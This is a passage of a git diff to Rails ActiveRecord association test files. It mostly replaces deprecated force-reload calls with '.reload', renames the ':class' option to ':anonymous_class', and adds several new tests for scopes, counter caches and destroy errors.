test_deleting_all @@ -398,7 +432,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase david.projects.reload david.projects.clear assert_equal 0, david.projects.size - assert_equal 0, david.projects(true).size + assert_equal 0, david.projects.reload.size end def test_removing_associations_on_destroy @@ -424,7 +458,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert join_records.empty? assert_equal 1, david.reload.projects.size - assert_equal 1, david.projects(true).size + assert_equal 1, david.projects.reload.size end def test_destroying_many @@ -440,7 +474,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert join_records.empty? assert_equal 0, david.reload.projects.size - assert_equal 0, david.projects(true).size + assert_equal 0, david.projects.reload.size end def test_destroy_all @@ -456,7 +490,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert join_records.empty? assert david.projects.empty? - assert david.projects(true).empty? + assert david.projects.reload.empty? end def test_destroy_associations_destroys_multiple_associations @@ -472,11 +506,11 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase join_records = Parrot.connection.select_all("SELECT * FROM parrots_pirates WHERE parrot_id = #{george.id}") assert join_records.empty? - assert george.pirates(true).empty? + assert george.pirates.reload.empty? join_records = Parrot.connection.select_all("SELECT * FROM parrots_treasures WHERE parrot_id = #{george.id}") assert join_records.empty? - assert george.treasures(true).empty? + assert george.treasures.reload.empty? end def test_associations_with_conditions @@ -577,6 +611,11 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal developers(:poor_jamis), projects(:active_record).developers.where("salary < 10000").first end + def test_association_with_extend_option + eponine = DeveloperWithExtendOption.create(name: 'Eponine') + assert_equal 'sns', eponine.projects.category + end + def test_replace_with_less david = developers(:david) david.projects = [projects(:action_controller)] @@ -639,7 +678,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase end def test_habtm_respects_select - categories(:technology).select_testing_posts(true).each do |o| + categories(:technology).select_testing_posts.reload.each do |o| assert_respond_to o, :correctness_marker end assert_respond_to categories(:technology).select_testing_posts.first, :correctness_marker @@ -711,7 +750,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase def test_get_ids_for_loaded_associations developer = developers(:david) - developer.projects(true) + developer.projects.reload assert_queries(0) do developer.project_ids developer.project_ids @@ -779,9 +818,10 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase end def test_association_proxy_transaction_method_starts_transaction_in_association_class - Post.expects(:transaction) - Category.first.posts.transaction do - # nothing + assert_called(Post, :transaction) do + Category.first.posts.transaction do + # nothing + end end end @@ -800,12 +840,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_no_queries { david.projects.columns } end - def test_attributes_are_being_set_when_initialized_from_habm_association_with_where_clause + def test_attributes_are_being_set_when_initialized_from_habtm_association_with_where_clause new_developer = projects(:action_controller).developers.where(:name => "Marcelo").build assert_equal new_developer.name, "Marcelo" end - def test_attributes_are_being_set_when_initialized_from_habm_association_with_multiple_where_clauses + def test_attributes_are_being_set_when_initialized_from_habtm_association_with_multiple_where_clauses new_developer = projects(:action_controller).developers.where(:name => "Marcelo").where(:salary => 90_000).build assert_equal new_developer.name, "Marcelo" assert_equal new_developer.salary, 90_000 @@ -898,8 +938,61 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase end def test_with_symbol_class_name - assert_nothing_raised NoMethodError do + assert_nothing_raised do DeveloperWithSymbolClassName.new end end + + def test_association_force_reload_with_only_true_is_deprecated + developer = Developer.find(1) + + assert_deprecated { developer.projects(true) } + end + + def test_alternate_database + professor = Professor.create(name: "Plum") + course = Course.create(name: "Forensics") + assert_equal 0, professor.courses.count + assert_nothing_raised do + professor.courses << course + end + assert_equal 1, professor.courses.count + end + + def test_habtm_scope_can_unscope + project = ProjectUnscopingDavidDefaultScope.new + project.save! + + developer = LazyBlockDeveloperCalledDavid.new(name: "Not David") + developer.save! + project.developers << developer + + projects = ProjectUnscopingDavidDefaultScope.includes(:developers).where(id: project.id) + assert_equal 1, projects.first.developers.size + end + + def test_preloaded_associations_size + assert_equal Project.first.salaried_developers.size, + Project.preload(:salaried_developers).first.salaried_developers.size + + assert_equal Project.includes(:salaried_developers).references(:salaried_developers).first.salaried_developers.size, + Project.preload(:salaried_developers).first.salaried_developers.size + + # Nested HATBM + first_project = Developer.first.projects.first + preloaded_first_project = + Developer.preload(projects: :salaried_developers). + first. + projects. + detect { |p| p.id == first_project.id } + + assert preloaded_first_project.salaried_developers.loaded?, true + assert_equal first_project.salaried_developers.size, preloaded_first_project.salaried_developers.size + end + + def test_has_and_belongs_to_many_is_useable_with_belongs_to_required_by_default + assert_difference "Project.first.developers_required_by_default.size", 1 do + Project.first.developers_required_by_default.create!(name: "Sean", salary: 50000) + end + end end diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb index 290b2a0d6b..e975f4fbdd 100644 --- a/activerecord/test/cases/associations/has_many_associations_test.rb +++ b/activerecord/test/cases/associations/has_many_associations_test.rb @@ -31,6 +31,8 @@ require 'models/student' require 'models/pirate' require 'models/ship' require 'models/ship_part' +require 'models/treasure' +require 'models/parrot' require 'models/tyre' require 'models/subscriber' require 'models/subscription' @@ -119,9 +121,9 @@ class HasManyAssociationsTest < ActiveRecord::TestCase developer_project = Class.new(ActiveRecord::Base) { self.table_name = 'developers_projects' - belongs_to :developer, :class => dev + belongs_to :developer, :anonymous_class => dev } - has_many :developer_projects, :class => developer_project, :foreign_key => 'developer_id' + has_many :developer_projects, :anonymous_class => developer_project, :foreign_key => 'developer_id' } dev = developer.first named = Developer.find(dev.id) @@ -140,13 +142,13 @@ class HasManyAssociationsTest < ActiveRecord::TestCase comments = Class.new(ActiveRecord::Base) { self.table_name = 'comments' self.inheritance_column = 'not_there' - belongs_to :post, :class => post + belongs_to :post, :anonymous_class => post default_scope -> { counter += 1 where("id = :inc", :inc => counter) } } - has_many :comments, :class => comments, :foreign_key => 'post_id' + has_many :comments, :anonymous_class => comments, :foreign_key => 'post_id' } assert_equal 0, counter post = posts.first @@ -168,7 +170,9 @@ class HasManyAssociationsTest < ActiveRecord::TestCase part = ShipPart.create(name: 'cockpit') updated_at = part.updated_at - ship.parts << part + travel(1.second) do + ship.parts << part + end assert_equal part.ship, ship assert_not_equal part.updated_at, updated_at @@ -199,9 +203,22 @@ class HasManyAssociationsTest < ActiveRecord::TestCase bulb = car.bulbs.create assert_equal 'defaulty', bulb.name + end + + def test_build_and_create_from_association_should_respect_passed_attributes_over_default_scope + car = Car.create(name: 'honda') + + bulb = car.bulbs.build(name: 'exotic') + assert_equal 'exotic', bulb.name - bulb = car.bulbs.create(:name => 'exotic') + bulb = car.bulbs.create(name: 'exotic') assert_equal 'exotic', bulb.name + + bulb = car.awesome_bulbs.build(frickinawesome: false) + assert_equal false, bulb.frickinawesome + + bulb = car.awesome_bulbs.create(frickinawesome: false) + assert_equal false, bulb.frickinawesome end def test_build_from_association_should_respect_scope @@ -391,6 +408,16 @@ class HasManyAssociationsTest < ActiveRecord::TestCase end assert_no_queries do + bulbs.third_to_last() + bulbs.third_to_last({}) + end + + assert_no_queries do + bulbs.second_to_last() + bulbs.second_to_last({}) + end + + assert_no_queries do bulbs.last() bulbs.last({}) end @@ -704,7 +731,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase natural = Client.new("name" => "Natural Company") companies(:first_firm).clients_of_firm << natural assert_equal 3, companies(:first_firm).clients_of_firm.size # checking via the collection - assert_equal 3, companies(:first_firm).clients_of_firm(true).size # checking using the db + assert_equal 3, companies(:first_firm).clients_of_firm.reload.size # checking using the db assert_equal natural, companies(:first_firm).clients_of_firm.last end @@ -759,7 +786,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase force_signal37_to_load_all_clients_of_firm companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")]) assert_equal 4, companies(:first_firm).clients_of_firm.size - assert_equal 4, companies(:first_firm).clients_of_firm(true).size + assert_equal 4, companies(:first_firm).clients_of_firm.reload.size end def test_transactions_when_adding_to_persisted @@ -771,7 +798,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase rescue Client::RaisedOnSave end - assert !companies(:first_firm).clients_of_firm(true).include?(good) + assert !companies(:first_firm).clients_of_firm.reload.include?(good) end def test_transactions_when_adding_to_new_record @@ -903,12 +930,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client") assert new_client.persisted? assert_equal new_client, companies(:first_firm).clients_of_firm.last - assert_equal new_client, companies(:first_firm).clients_of_firm(true).last + assert_equal new_client, companies(:first_firm).clients_of_firm.reload.last end def test_create_many companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}]) - assert_equal 4, companies(:first_firm).clients_of_firm(true).size + assert_equal 4, companies(:first_firm).clients_of_firm.reload.size end def test_create_followed_by_save_does_not_load_target @@ -921,7 +948,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase force_signal37_to_load_all_clients_of_firm companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first) assert_equal 1, companies(:first_firm).clients_of_firm.size - assert_equal 1, companies(:first_firm).clients_of_firm(true).size + assert_equal 1, companies(:first_firm).clients_of_firm.reload.size end def test_deleting_before_save @@ -932,6 +959,25 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 0, new_firm.clients_of_firm.size end + def test_has_many_without_counter_cache_option + # Ship has a conventionally named `treasures_count` column, but the counter_cache + # option is not given on the association. + ship = Ship.create(name: 'Countless', treasures_count: 10) + + assert_not Ship.reflect_on_association(:treasures).has_cached_counter? + + # Count should come from sql count() of treasures rather than treasures_count attribute + assert_equal ship.treasures.size, 0 + + assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed" do + ship.treasures.create(name: 'Gold') + end + + assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed" do + ship.treasures.destroy_all + end + end + def test_deleting_updates_counter_cache topic = Topic.order("id ASC").first assert_equal topic.replies.to_a.size, topic.replies_count @@ -1058,7 +1104,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal 3, companies(:first_firm).clients_of_firm.size companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1], companies(:first_firm).clients_of_firm[2]]) assert_equal 0, companies(:first_firm).clients_of_firm.size - assert_equal 0, companies(:first_firm).clients_of_firm(true).size + assert_equal 0, companies(:first_firm).clients_of_firm.reload.size end def test_delete_all @@ -1079,7 +1125,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase companies(:first_firm).clients_of_firm.reset companies(:first_firm).clients_of_firm.delete_all assert_equal 0, companies(:first_firm).clients_of_firm.size - assert_equal 0, companies(:first_firm).clients_of_firm(true).size + assert_equal 0, companies(:first_firm).clients_of_firm.reload.size end def test_transaction_when_deleting_persisted @@ -1093,7 +1139,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase rescue Client::RaisedOnDestroy end - assert_equal [good, bad], companies(:first_firm).clients_of_firm(true) + assert_equal [good, bad], companies(:first_firm).clients_of_firm.reload end def test_transaction_when_deleting_new_record @@ -1113,7 +1159,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase firm.clients_of_firm.clear assert_equal 0, firm.clients_of_firm.size - assert_equal 0, firm.clients_of_firm(true).size + assert_equal 0, firm.clients_of_firm.reload.size assert_equal [], Client.destroyed_client_ids[firm.id] # Should not be destroyed since the association is not dependent. @@ -1149,7 +1195,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase firm.dependent_clients_of_firm.clear assert_equal 0, firm.dependent_clients_of_firm.size - assert_equal 0, firm.dependent_clients_of_firm(true).size + assert_equal 0, firm.dependent_clients_of_firm.reload.size assert_equal [], Client.destroyed_client_ids[firm.id] # Should be destroyed since the association is dependent. @@ -1182,7 +1228,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase firm.exclusively_dependent_clients_of_firm.clear assert_equal 0, firm.exclusively_dependent_clients_of_firm.size - assert_equal 0, firm.exclusively_dependent_clients_of_firm(true).size + assert_equal 0, firm.exclusively_dependent_clients_of_firm.reload.size # no destroy-filters should have been called assert_equal [], Client.destroyed_client_ids[firm.id] @@ -1231,7 +1277,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase # break the vanilla firm_id foreign key assert_equal 3, firm.clients.count firm.clients.first.update_columns(firm_id: nil) - assert_equal 2, firm.clients(true).count + assert_equal 2, firm.clients.reload.count assert_equal 2, firm.clients_using_primary_key_with_delete_all.count old_record = firm.clients_using_primary_key_with_delete_all.first firm = Firm.first @@ -1257,7 +1303,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase firm.clients_of_firm.clear assert_equal 0, firm.clients_of_firm.size - assert_equal 0, firm.clients_of_firm(true).size + assert_equal 0, firm.clients_of_firm.reload.size end def test_deleting_a_item_which_is_not_in_the_collection @@ -1265,7 +1311,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase summit = Client.find_by_name('Summit') companies(:first_firm).clients_of_firm.delete(summit) assert_equal 2, companies(:first_firm).clients_of_firm.size - assert_equal 2, companies(:first_firm).clients_of_firm(true).size + assert_equal 2, companies(:first_firm).clients_of_firm.reload.size assert_equal 2, summit.client_of end @@ -1303,7 +1349,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase end assert_equal 1, companies(:first_firm).reload.clients_of_firm.size - assert_equal 1, companies(:first_firm).clients_of_firm(true).size + assert_equal 1, companies(:first_firm).clients_of_firm.reload.size end def test_destroying_by_fixnum_id @@ -1314,7 +1360,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase end assert_equal 1, companies(:first_firm).reload.clients_of_firm.size - assert_equal 1, companies(:first_firm).clients_of_firm(true).size + assert_equal 1, companies(:first_firm).clients_of_firm.reload.size end def test_destroying_by_string_id @@ -1325,7 +1371,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase end assert_equal 1, companies(:first_firm).reload.clients_of_firm.size - assert_equal 1, companies(:first_firm).clients_of_firm(true).size + assert_equal 1, companies(:first_firm).clients_of_firm.reload.size end def test_destroying_a_collection @@ -1338,7 +1384,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase end assert_equal 1, companies(:first_firm).reload.clients_of_firm.size - assert_equal 1, companies(:first_firm).clients_of_firm(true).size + assert_equal 1, companies(:first_firm).clients_of_firm.reload.size end def test_destroy_all @@ -1349,7 +1395,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal clients.sort_by(&:id), destroyed.sort_by(&:id) assert destroyed.all?(&:frozen?), "destroyed clients should be frozen" assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all" - assert companies(:first_firm).clients_of_firm(true).empty?, "37signals has no clients after destroy all and refresh" + assert companies(:first_firm).clients_of_firm.reload.empty?, "37signals has no clients after destroy all and refresh" end def test_dependence @@ -1426,6 +1472,26 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert firm.companies.exists?(:name => 'child') end + def test_restrict_with_error_is_deprecated_using_key_many + I18n.backend = I18n::Backend::Simple.new + I18n.backend.store_translations :en, activerecord: { errors: { messages: { restrict_dependent_destroy: { many: 'message for deprecated key' } } } } + + firm = RestrictedWithErrorFirm.create!(name: 'restrict') + firm.companies.create(name: 'child') + + assert !firm.companies.empty? + + assert_deprecated { firm.destroy } + + assert !firm.errors.empty? + + assert_equal 'message for deprecated key', firm.errors[:base].first + assert RestrictedWithErrorFirm.exists?(name: 'restrict') + assert firm.companies.exists?(name: 'child') + ensure + I18n.backend.reload! + end + def test_restrict_with_error firm = RestrictedWithErrorFirm.create!(:name => 'restrict') firm.companies.create(:name => 'child') @@ -1441,6 +1507,25 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert firm.companies.exists?(:name => 'child') end + def test_restrict_with_error_with_locale + I18n.backend = I18n::Backend::Simple.new + I18n.backend.store_translations 'en', activerecord: {attributes: {restricted_with_error_firm: {companies: 'client companies'}}} + firm = RestrictedWithErrorFirm.create!(name: 'restrict') + firm.companies.create(name: 'child') + + assert !firm.companies.empty? + + firm.destroy + + assert !firm.errors.empty? + + assert_equal "Cannot delete record because dependent client companies exist", firm.errors[:base].first + assert RestrictedWithErrorFirm.exists?(name: 'restrict') + assert firm.companies.exists?(name: 'child') + ensure + I18n.backend.reload! + end + def test_included_in_collection assert_equal true, companies(:first_firm).clients.include?(Client.find(2)) end @@ -1503,6 +1588,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_queries(0, ignore_none: true) do firm.clients = [] end + + assert_equal [], firm.send('clients=', []) end def test_transactions_when_replacing_on_persisted @@ -1516,7 +1603,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase rescue Client::RaisedOnSave end - assert_equal [good], companies(:first_firm).clients_of_firm(true) + assert_equal [good], companies(:first_firm).clients_of_firm.reload end def test_transactions_when_replacing_on_new_record @@ -1532,7 +1619,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase def test_get_ids_for_loaded_associations company = companies(:first_firm) - company.clients(true) + company.clients.reload assert_queries(0) do company.client_ids company.client_ids @@ -1586,7 +1673,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, ''] firm.save! - assert_equal 2, firm.clients(true).size + assert_equal 2, firm.clients.reload.size assert_equal true, firm.clients.include?(companies(:second_client)) end @@ -2117,6 +2204,26 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal [bulb1, bulb2], car.all_bulbs.sort_by(&:id) end + test "can unscope and where the default scope of the associated model" do + Car.has_many :other_bulbs, -> { unscope(where: [:name]).where(name: 'other') }, class_name: "Bulb" + car = Car.create! + bulb1 = Bulb.create! name: "defaulty", car: car + bulb2 = Bulb.create! name: "other", car: car + + assert_equal [bulb1], car.bulbs + assert_equal [bulb2], car.other_bulbs + end + + test "can rewhere the default scope of the associated model" do + Car.has_many :old_bulbs, -> { rewhere(name: 'old') }, class_name: "Bulb" + car = Car.create! + bulb1 = Bulb.create! name: "defaulty", car: car + bulb2 = Bulb.create! name: "old", car: car + + assert_equal [bulb1], car.bulbs + assert_equal [bulb2], car.old_bulbs + end + test 'unscopes the default scope of associated model when used with include' do car = Car.create! bulb = Bulb.create! name: "other", car: car @@ -2129,11 +2236,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase car = Car.create! original_child = FailedBulb.create!(car: car) - assert_raise(ActiveRecord::RecordNotDestroyed) do + error = assert_raise(ActiveRecord::RecordNotDestroyed) do car.failed_bulbs = [FailedBulb.create!] end assert_equal [original_child], car.reload.failed_bulbs + assert_equal "Failed to destroy the record", error.message end test 'updates counter cache when default scope is given' do @@ -2173,7 +2281,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal [], authors(:david).posts_with_signature.map(&:title) end - test 'associations autosaves when object is already persited' do + test 'associations autosaves when object is already persisted' do bulb = Bulb.create! tyre = Tyre.create! @@ -2249,4 +2357,54 @@ class HasManyAssociationsTest < ActiveRecord::TestCase assert_equal [first_bulb, second_bulb], car.bulbs end + + test 'double insertion of new object to association when same association used in the after create callback of a new object' do + car = Car.create! + car.bulbs << TrickyBulb.new + assert_equal 1, car.bulbs.size + end + + def test_association_force_reload_with_only_true_is_deprecated + company = Company.find(1) + + assert_deprecated { company.clients_of_firm(true) } + end + + class AuthorWithErrorDestroyingAssociation < ActiveRecord::Base + self.table_name = "authors" + has_many :posts_with_error_destroying, + class_name: "PostWithErrorDestroying", + foreign_key: :author_id, + dependent: :destroy + end + + class PostWithErrorDestroying < ActiveRecord::Base + self.table_name = "posts" + self.inheritance_column = nil + before_destroy -> { throw :abort } + end + + def test_destroy_does_not_raise_when_association_errors_on_destroy + assert_no_difference "AuthorWithErrorDestroyingAssociation.count" do + author = AuthorWithErrorDestroyingAssociation.first + + assert_not author.destroy + end + end + + def test_destroy_with_bang_bubbles_errors_from_associations + error = assert_raises ActiveRecord::RecordNotDestroyed do + AuthorWithErrorDestroyingAssociation.first.destroy! + end + + assert_instance_of PostWithErrorDestroying, error.record + end + + def test_ids_reader_memoization + car = Car.create!(name: 'TofaÅŸ') + bulb = Bulb.create!(car: car) + + assert_equal [bulb.id], car.bulb_ids + assert_no_queries { car.bulb_ids } + end end diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb index 5f52c65412..aa35844a03 100644 --- a/activerecord/test/cases/associations/has_many_through_associations_test.rb +++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb @@ -11,7 +11,9 @@ require 'models/tagging' require 'models/author' require 'models/owner' require 'models/pet' +require 'models/pet_treasure' require 'models/toy' +require 'models/treasure' require 'models/contract' require 'models/company' require 'models/developer' @@ -63,7 +65,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } } end - def test_ordered_habtm + def test_ordered_has_many_through person_prime = Class.new(ActiveRecord::Base) do def self.name; 'Person'; end @@ -84,11 +86,11 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase subscriber = make_model "Subscriber" subscriber.primary_key = 'nick' - subscription.belongs_to :book, class: book - subscription.belongs_to :subscriber, class: subscriber + subscription.belongs_to :book, anonymous_class: book + subscription.belongs_to :subscriber, anonymous_class: subscriber - book.has_many :subscriptions, class: subscription - book.has_many :subscribers, through: :subscriptions, class: subscriber + book.has_many :subscriptions, anonymous_class: subscription + book.has_many :subscribers, through: :subscriptions, anonymous_class: subscriber anonbook = book.first namebook = Book.find anonbook.id @@ -154,10 +156,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase lesson_student = make_model 'LessonStudent' lesson_student.table_name = 'lessons_students' - lesson_student.belongs_to :lesson, :class => lesson - lesson_student.belongs_to :student, :class => student - lesson.has_many :lesson_students, :class => lesson_student - lesson.has_many :students, :through => :lesson_students, :class => student + lesson_student.belongs_to :lesson, :anonymous_class => lesson + lesson_student.belongs_to :student, :anonymous_class => student + lesson.has_many :lesson_students, :anonymous_class => lesson_student + lesson.has_many :students, :through => :lesson_students, :anonymous_class => student [lesson, lesson_student, student] end @@ -188,7 +190,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert post.people.include?(person) end - assert post.reload.people(true).include?(person) + assert post.reload.people.reload.include?(person) end def test_delete_all_for_with_dependent_option_destroy @@ -229,7 +231,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase post = posts(:thinking) post.people.concat [person] assert_equal 1, post.people.size - assert_equal 1, post.people(true).size + assert_equal 1, post.people.reload.size end def test_associate_existing_record_twice_should_add_to_target_twice @@ -285,7 +287,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert posts(:thinking).people.include?(new_person) end - assert posts(:thinking).reload.people(true).include?(new_person) + assert posts(:thinking).reload.people.reload.include?(new_person) end def test_associate_new_by_building @@ -310,8 +312,8 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase posts(:thinking).save end - assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Bob") - assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Ted") + assert posts(:thinking).reload.people.reload.collect(&:first_name).include?("Bob") + assert posts(:thinking).reload.people.reload.collect(&:first_name).include?("Ted") end def test_build_then_save_with_has_many_inverse @@ -356,7 +358,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert posts(:welcome).people.empty? end - assert posts(:welcome).reload.people(true).empty? + assert posts(:welcome).reload.people.reload.empty? end def test_destroy_association @@ -367,7 +369,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end assert posts(:welcome).reload.people.empty? - assert posts(:welcome).people(true).empty? + assert posts(:welcome).people.reload.empty? end def test_destroy_all @@ -378,7 +380,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end assert posts(:welcome).reload.people.empty? - assert posts(:welcome).people(true).empty? + assert posts(:welcome).people.reload.empty? end def test_should_raise_exception_for_destroying_mismatching_records @@ -539,7 +541,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end def test_replace_association - assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)} + assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people.reload} # 1 query to delete the existing reader (michael) # 1 query to associate the new reader (david) @@ -552,8 +554,8 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert !posts(:welcome).people.include?(people(:michael)) } - assert posts(:welcome).reload.people(true).include?(people(:david)) - assert !posts(:welcome).reload.people(true).include?(people(:michael)) + assert posts(:welcome).reload.people.reload.include?(people(:david)) + assert !posts(:welcome).reload.people.reload.include?(people(:michael)) end def test_replace_order_is_preserved @@ -592,7 +594,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert posts(:thinking).people.collect(&:first_name).include?("Jeb") end - assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Jeb") + assert posts(:thinking).reload.people.reload.collect(&:first_name).include?("Jeb") end def test_through_record_is_built_when_created_with_where @@ -668,7 +670,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end def test_clear_associations - assert_queries(2) { posts(:welcome);posts(:welcome).people(true) } + assert_queries(2) { posts(:welcome);posts(:welcome).people.reload } assert_queries(1) do posts(:welcome).people.clear @@ -678,7 +680,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert posts(:welcome).people.empty? end - assert posts(:welcome).reload.people(true).empty? + assert posts(:welcome).reload.people.reload.empty? end def test_association_callback_ordering @@ -744,13 +746,14 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase def test_get_ids_for_has_many_through_with_conditions_should_not_preload Tagging.create!(:taggable_type => 'Post', :taggable_id => posts(:welcome).id, :tag => tags(:misc)) - ActiveRecord::Associations::Preloader.expects(:new).never - posts(:welcome).misc_tag_ids + assert_not_called(ActiveRecord::Associations::Preloader, :new) do + posts(:welcome).misc_tag_ids + end end def test_get_ids_for_loaded_associations person = people(:michael) - person.posts(true) + person.posts.reload assert_queries(0) do person.post_ids person.post_ids @@ -765,9 +768,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end def test_association_proxy_transaction_method_starts_transaction_in_association_class - Tag.expects(:transaction) - Post.first.tags.transaction do - # nothing + assert_called(Tag, :transaction) do + Post.first.tags.transaction do + # nothing + end end end @@ -828,14 +832,14 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase category = author.named_categories.build(:name => "Primary") author.save assert Categorization.exists?(:author_id => author.id, :named_category_name => category.name) - assert author.named_categories(true).include?(category) + assert author.named_categories.reload.include?(category) end def test_collection_create_with_nonstandard_primary_key_on_belongs_to author = authors(:mary) category = author.named_categories.create(:name => "Primary") assert Categorization.exists?(:author_id => author.id, :named_category_name => category.name) - assert author.named_categories(true).include?(category) + assert author.named_categories.reload.include?(category) end def test_collection_exists @@ -850,7 +854,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase category = author.named_categories.create(:name => "Primary") author.named_categories.delete(category) assert !Categorization.exists?(:author_id => author.id, :named_category_name => category.name) - assert author.named_categories(true).empty? + assert author.named_categories.reload.empty? end def test_collection_singular_ids_getter_with_string_primary_keys @@ -871,10 +875,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert_nothing_raised do book = books(:awdr) book.subscriber_ids = [subscribers(:second).nick] - assert_equal [subscribers(:second)], book.subscribers(true) + assert_equal [subscribers(:second)], book.subscribers.reload book.subscriber_ids = [] - assert_equal [], book.subscribers(true) + assert_equal [], book.subscribers.reload end end @@ -882,7 +886,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase def test_collection_singular_ids_setter_raises_exception_when_invalid_ids_set company = companies(:rails_core) ids = [Developer.first.id, -9999] - assert_raises(ActiveRecord::RecordNotFound) {company.developer_ids= ids} + assert_raises(ActiveRecord::AssociationTypeMismatch) {company.developer_ids= ids} end def test_build_a_model_from_hm_through_association_with_where_clause @@ -960,7 +964,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert_equal 1, category.categorizations.where(:special => true).count end - def test_joining_has_many_through_with_uniq + def test_joining_has_many_through_with_distinct mary = Author.joins(:unique_categorized_posts).where(:id => authors(:mary).id).first assert_equal 1, mary.unique_categorized_posts.length assert_equal 1, mary.unique_categorized_post_ids.length @@ -1040,14 +1044,6 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end end - def test_save_should_not_raise_exception_when_join_record_has_errors - repair_validations(Categorization) do - Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' } - c = Category.create(:name => 'Fishing', :authors => [Author.first]) - c.save - end - end - def test_assign_array_to_new_record_builds_join_records c = Category.new(:name => 'Fishing', :authors => [Author.first]) assert_equal 1, c.categorizations.size @@ -1072,11 +1068,11 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase end end - def test_create_bang_returns_falsy_when_join_record_has_errors + def test_save_returns_falsy_when_join_record_has_errors repair_validations(Categorization) do Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' } c = Category.new(:name => 'Fishing', :authors => [Author.first]) - assert !c.save + assert_not c.save end end @@ -1088,6 +1084,18 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase assert_equal [], person.posts end + def test_preloading_empty_through_with_polymorphic_source_association + owner = Owner.create!(name: "Rainbow Unicat") + pet = Pet.create!(owner: owner) + person = Person.create!(first_name: "Gaga") + treasure = Treasure.create!(looter: person) + non_looted_treasure = Treasure.create!() + PetTreasure.create!(pet: pet, treasure: treasure, rainbow_color: "Ultra violet indigo") + 